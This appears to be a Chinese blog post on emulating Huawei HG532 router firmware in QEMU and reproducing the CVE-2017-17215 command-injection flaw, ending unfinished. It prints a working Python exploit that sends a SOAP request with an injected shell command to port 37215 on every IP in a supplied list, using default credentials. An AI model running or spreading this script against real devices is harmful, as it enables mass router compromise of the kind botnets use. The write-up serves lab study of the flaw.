HG532命令执行漏洞复现(CVE-2017-17215)

注:该复现过程有详细视频资料。

Cisco漏洞复现(CVE-2021-1291)

仿真过程

  1. 下载实验所需虚拟机及固件
  2. 安装AttifyOS虚拟机并将固件放置在虚拟机内。
  3. 使用AttifyOS自带的binwalk对固件文件进行提取。
  4. 设置网络环境
  5. 使用QEMU模拟路由器环境
  6. 验证仿真结果

工具下载

百度云盘AttifyOS下载地址:https://pan.baidu.com/s/1Vracsnlt5uNbdmfYK4dp8Q
密码:tvoh
HG532固件
链接:https://pan.baidu.com/s/1vZt-Ww7NAFdFSbDivNHM0w
提取码:tnie
Linux内核和硬盘映像
下载地址:https://people.debian.org/~aurel32/qemu/mips/

虚拟机安装

打开VMware,点击左上角“文件”菜单并点击打开。选择下载的AttifyOS.ova完成导入。虚拟机安装成功将下载的固件及Linux内核和硬盘映像放在虚拟机中。
在这里插入图片描述

在这里插入图片描述

开始仿真

固件提取

先切换管理员身份以便后续软件下载,password for oit输入attify123,在固件所在目录下执行固件提取命令。

sudo su root
[sudo] password for oit: 
root@ubuntu:/home/oit/tools/firmadyne# binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

设置网络环境

可根据自己所处网络进行网络设置,使路由器可与虚拟机通信即可。

sudo brctl addbr Virbr0
#若提示sudo: brctl: command not found
#则执行sudo apt-get install bridge-utils
sudo ifconfig Virbr0 192.168.254.133/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.254.131/24 up
sudo brctl addif Virbr0 tap0

启动路由器

安装QEMU,该固件为big-endian,故使用mips架构进行模拟。进入内核所在位置,启动路由器环境。
在这里插入图片描述

apt-get install qemu
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

在这里插入图片描述
登录路由器,用户名和密码都是root

debian-mips login: root
Password: 

设置路由器网络

ifconfig eth0 192.168.234.122/24
#尝试与细腻及通信
ping 192.168.234.133

在这里插入图片描述

挂载文件系统

打开一个终端进入固件文件系统目录。

scp -r ./squashfs-root root@192.168.234.122:/root/

在这里插入图片描述
进入路由器环境中

mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root /bin/sh

在这里插入图片描述

开启服务

在虚拟机终端远程登录路由器开启服务。

ssh root@192.168.234.122
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

在这里插入图片描述
此时路由器地址已经改变,在路由器环境中将地址修改回原地址。
在这里插入图片描述

ifconfig eth0 192.168.234.2/24 up
ifconfig br0 192.168.234.11/24 up

在这里插入图片描述

仿真验证

打开浏览器进行192.168.234.2,若出现连接不安全,将该地址添加信任即可。
在这里插入图片描述

漏洞复现

漏洞介绍

Huawei HG532 with some customized versions has a remote code execution vulnerability. An authenticated attacker could send malicious packets to port 37215 to launch attacks. Successful exploit could lead to the remote execution of arbitrary code.

漏洞利用

Payload

import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "mkdir test" # Your MIPS
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
 
class exploit(threading.Thread):
        def __init__ (self, ip):
            threading.Thread.__init__(self)
            self.ip = str(ip).rstrip('\n')
        def run(self):
            try:
                url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
                requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
                print( "[SOAP] Attempting to infect " + self.ip)
            except Exception as e:
                print(e)
 
for ip in ips:
    try:
        n = exploit(ip)
        n.start()
        time.sleep(0.03)
    except:
        print('error')

payload需要提供一个参数,该参数为文件路径,对应文件内保存目标机器群的ip。启动脚本可对文件中的ip对应的所有主机进行攻击。exploit函数为攻击代码,通过构建post请求实现任意指令执行,可通过cmd变量设置待执行的命令。
在这里插入图片描述

漏洞分析

通过漏洞描述可以看到该漏洞发生点是端口37215。可实现任意命令执行功能。查看端口37215,发现是mic程序。
在这里插入图片描述
未完待~

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值